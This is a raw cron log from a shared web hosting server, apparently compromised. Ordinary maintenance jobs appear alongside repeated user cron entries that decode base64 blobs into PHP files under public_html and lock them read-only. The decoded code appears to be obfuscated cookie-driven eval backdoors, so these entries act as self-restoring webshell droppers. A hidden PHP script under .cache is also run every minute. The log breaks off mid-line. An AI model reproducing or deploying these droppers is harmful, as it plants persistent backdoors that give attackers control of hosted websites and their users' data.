Mar  2 06:46:01 medusa CROND[3085]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:46:01 medusa CROND[3091]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 06:46:01 medusa CROND[3096]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:46:01 medusa CROND[3097]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:46:01 medusa CROND[3100]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:46:01 medusa CROND[3114]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:46:01 medusa CROND[3116]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:46:01 medusa CROND[3117]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:47:01 medusa CROND[18154]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 06:47:01 medusa CROND[18156]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:47:01 medusa CROND[18172]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:47:01 medusa CROND[18175]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:47:01 medusa CROND[18171]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:47:01 medusa CROND[18178]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:47:01 medusa CROND[18183]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 06:47:01 medusa CROND[18185]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:47:01 medusa CROND[18186]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:47:01 medusa CROND[18187]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:47:01 medusa CROND[18179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:47:01 medusa CROND[18196]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:47:01 medusa CROND[18181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:48:01 medusa CROND[1661]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:48:01 medusa CROND[1736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:48:01 medusa CROND[1797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:48:01 medusa CROND[1934]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:48:01 medusa CROND[1935]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 06:48:01 medusa CROND[1936]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:48:01 medusa CROND[1938]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:48:01 medusa CROND[1954]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:48:01 medusa CROND[1955]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:48:01 medusa CROND[1956]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb